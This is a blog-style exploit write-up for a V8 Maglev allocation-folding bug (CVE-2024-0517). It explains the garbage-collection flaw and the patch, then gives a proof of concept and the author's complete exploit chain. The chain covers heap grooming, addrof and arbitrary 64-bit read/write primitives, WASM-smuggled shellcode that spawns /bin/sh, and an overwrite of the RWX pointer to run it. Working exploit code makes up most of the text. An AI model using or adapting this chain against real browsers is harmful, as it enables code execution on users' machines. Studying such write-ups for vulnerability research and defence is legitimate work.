This post explores a vulnerability found in the Maglev optimizing compiler of V8, specifically within a function responsible for optimizing classes that inherit from a parent class.
The Bug#
The bug is located in the VisitFindNonDefaultConstructorOrConstructMaglev
function. This function attempts to optimize a class that has a parent class, but the manner in which it is lowered introduces a critical issue.
Garbage Collection Trigger:
- Executing
[1000] = 8
triggers garbage collection (GC). - During GC, if it occurs between two folded allocations, the first allocated chunk may be relocated, and the space of the second allocation is freed since no objects point to it at that moment. This leads to an out-of-bounds (OOB) access during subsequent folded allocations.
Note: In the image, the chunks are moved from the young generation to old space. The labels “old” and “new” denote the previous and current allocations, respectively, and should not be confused.
- Executing
Allocation Process:
- The
BuildAllocateFastObject()
function callsExtendOrReallocateCurrentRawAllocation()
. - Preconditions for allocation:
- The object being constructed must be constant:
if (!maybe_constant) return false;
- The parent constructor must be a function:
if (!current.IsJSFunction()) return false;
- The validity of the
new_target_function
as a constructor is checked:
- The object being constructed must be constant:
- The
if (new_target_function && new_target_function->IsJSFunction() && HasValidInitialMap(new_target_function->AsJSFunction(), current_function))
- If these conditions are met,
BuildAllocateFastObject
is invoked for allocation in the young generation.
Exploit#
To exploit this vulnerability:
- Obtain Addrof Primitive: Start by acquiring an
addrof
primitive, which allows you to read memory addresses. - Shellcode Smuggling: You embed you shellcode into floating point numbers in the wasm code. Through which you can execute 2/3 byte instructions and jump to the next floating point number.
- Problem with this Sandbox Escape: Once the WASM instance has been transitioned to trusted space, a new method is required to escape the sandbox and regain control over code execution.
Patch#
To address this vulnerability, the developers implemented the following changes:
Invoke
ClearCurrentRawAllocation
: This function setscurrent_raw_allocation
tonull
, ensuring that both allocations occur without the risk of being folded across a garbage collection (GC) run. This change prevents the out-of-bounds access that was causing the vulnerability.Securing WASM Instances: The WASM instance has been moved into a trusted zone. Developers are actively working to eliminate any unsafe pointers associated with this instance, enhancing the security of the overall system.
poc:#
// Direct from the Exodus Blog (mentioned below).
function main() {
class ClassParent {}
class ClassBug extends ClassParent {
constructor() {
const v24 = new new.target(); // makes the checkvalue of the parent class to be constant with this call.
super(); // Creates the instance of `this` object and allocates the memory required for storing infor for this object.
let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1]; // After triggering the GC in the wrong folded allocation this gets allocated, which gives us OOB
}
[1000] = 8; // trigger the GC
}
// triggering the maglev optimizer.
for (let i = 0; i < 300; i++) {
Reflect.construct(ClassBug, [], ClassParent);
}
}
%NeverOptimizeFunction(main);
main();
My exploit:#
Some Basic utilities to make my exploitation phase easier: (includes float to int and vice-versa, trigger GC with the help of huge allcoations).
///////////////////////////////////////////////////////////////////////
/////////////////// Utility Functions ///////////////////
///////////////////////////////////////////////////////////////////////
let hex = (val) => '0x' + val.toString(16);
// 8 byte array buffer
const __buf = new ArrayBuffer(8);
const __f64_buf = new Float64Array(__buf);
const __u32_buf = new Uint32Array(__buf);
// typeof(val) = float
function ftoi(val) {
__f64_buf[0] = val;
return BigInt(__u32_buf[0]) + (BigInt(__u32_buf[1]) << 32n); // Watch for little endianness
}
function print(x){
console.log("[+] " + x);
}
// typeof(val) = BigInt
function itof(val) {
__u32_buf[0] = Number(val & 0xffffffffn);
__u32_buf[1] = Number(val >> 32n);
return __f64_buf[0];
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function reverse(x) {
var buf = new ArrayBuffer(0x20);
var view1 = new BigInt64Array(buf);
var view2 = new Uint8Array(buf);
view1[0] = x;
view2.reverse();
return view1[3];
}
function assert(x) {
console.assert(x);
}
I have 2 wasm instances because, the first wasm_code
has our smuggled shellcode, which I have covered in the ArrayShift Blogpost, The wasm_instance_helper
is the object in which we will corrupt and redirect the RWX
region to our shellcode.
////////////////////////////////////////////////////////////////////////
///////////////////// Main Exploit /////////////////////
////////////////////////////////////////////////////////////////////////
// for future - shellcode smuggling
var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x05,0x01,0x60,0x00,0x01,0x7c,0x03,0x02,0x01,0x00,0x07,0x08,0x01,0x04,0x6d,0x61,0x69,0x6e,0x00,0x00,0x0a,0x53,0x01,0x51,0x00,0x44,0xbb,0x2f,0x73,0x68,0x00,0x90,0xeb,0x07,0x44,0x48,0xc1,0xe3,0x20,0x90,0x90,0xeb,0x07,0x44,0xba,0x2f,0x62,0x69,0x6e,0x90,0xeb,0x07,0x44,0x48,0x01,0xd3,0x53,0x31,0xc0,0xeb,0x07,0x44,0xb0,0x3b,0x48,0x89,0xe7,0x90,0xeb,0x07,0x44,0x31,0xd2,0x48,0x31,0xf6,0x90,0xeb,0x07,0x44,0x0f,0x05,0x90,0x90,0x90,0x90,0xeb,0x07,0x44,0x0f,0x05,0x90,0x90,0x90,0x90,0xeb,0x07,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x0b]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f1 = wasm_instance.exports.main;
// to corrupt the pointer here.
var wasm_code_helper = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod_helper = new WebAssembly.Module(wasm_code_helper);
var wasm_instance_helper = new WebAssembly.Instance(wasm_mod_helper);
var f2 = wasm_instance_helper.exports.main;
This is similar to the POC where they have specific conditions met to trigger the ExtendOrReallocateCurrentRawAllocation
through the ClassBug
. Additionally, the only confusing part is, how to know the number of times to call the reflect.construct
and when do we know it triggered the actual bug. I was also confused reading the blogpost from exodus, when I asked the exploit dev, he suggested running it multiple times and getting the limit through trial and error.
function gc(){
for(let i=0;i<0x10;i++) new ArrayBuffer(0x100000);
}
let dogc_flag = null;
function dogc(){
if(dogc_flag){
gc();
}
}
let empty_object = {};
let empty_array = [];
let corrupted_instance = null;
// Main vulnerability.
class ClassParent {}
class ClassBug extends ClassParent {
constructor(a20, a21, a22) {
const v24 = new new.target();
let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];
super();
let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
this.x = x;
this.a = a;
JSON.stringify(empty_array);
}
[1] = dogc();
}
// jit compile the dogc()
for (let i = 0; i<200; i++) {
dogc_flag = false;
if (i%2 == 0) dogc_flag = true;
dogc();
}
for (let i = 0; i < 650; i++) {
dogc_flag=false;
if (i == 644 || i == 645 || i == 646 || i == 640) {
dogc_flag=true;
dogc();
dogc_flag=false;
}
if (i == 646) dogc_flag=true;
let x = Reflect.construct(ClassBug, empty_array, ClassParent);
if (i == 646) {
corrupted_instance = x;
}
}
Once we get he corrupted instance, It should be straight forward exploitation. We can get addrof
primitive and try to get arb read/ write primitive.
function addrof(obj){
corrupted_instance.x[0] = obj;
__f64_buf[0] = corrupted_instance.a[8];
return __u32_buf[0];
}
// overwrite the length of `a` array.
corrupted_instance.x[5] = 0x10000;
let oob = [1.1, 2.2, 3.3];
let addr_oob = addrof(oob);
let addr_a = addrof(corrupted_instance.a);
// Quick check
if(addr_oob < addr_a && corrupted_instance.a.length != 0x10000){
console.log("Exploit Failure!");
}
let off = (addr_oob - addr_a ) + 0xc;
if(off%8 != 0){
off -= 4;
}
off = off / 8;
off += 9;
print("Achieved 64 bit read write primitive.")
function write_64(addr, val){
corrupted_instance.a[off] = itof(BigInt(0x3*0x100000000 + addr-8));
oob[0] = itof(BigInt(val));
}
function read_64(addr){
corrupted_instance.a[off] = itof(BigInt(0x3*0x100000000 + addr-8));
return ftoi(oob[0]);
}
let addr_wasm = addrof(wasm_instance);
let addr_rwx = read_64(addr_wasm + 0x48);
print("Leaks:")
print("wasm_isntance: " + addr_wasm.toString(16));
print("RWX region: " + addr_rwx.toString(16));
let shell_off = 0x81an
// get the shellcode in memory.
f1();
write_64(addrof(wasm_instance_helper)+0x48, addr_rwx+shell_off);
// trigger the /bin/sh syscall.
f2();
Smuggling shellcode:#
Again I have explained it in this blogpost
Extras#
- You can find my full exploit and related files here: repo to files
new.target
: This property indicates whether an object was instantiated using thenew
keyword. For class constructors, it provides a reference to the function with which the object was created, allowing for better control and functionality in class hierarchies.Reflect.construct
: This method creates a new object using the specifiedtarget
class constructor along with a provided argument list. It enables more flexible instantiation of objects, especially when dealing with inheritance and prototype chains.- Allocation Folding: When the V8 engine anticipates a need for additional space in the future, it attempts to allocate the entire required memory in a single operation. This technique can optimize memory usage but may lead to vulnerabilities if not managed properly.
FindNonDefaultConstructorOrConstruct
: This function constructs an object by traversing the prototype chain to find a non-default constructor, invoking the appropriatesuper()
constructor as needed. The optimization methodVisitFindNonDefaultConstructorOrConstruct
aims to streamline this process, enhancing performance.
Reference#
- Special thanks to
sherlock
Bhaiya for the invaluable assistance in completing this exploit. - Exodus Intelligence Blog: Google Chrome V8 CVE-2024-0517 - Out-of-Bounds Write & Code Execution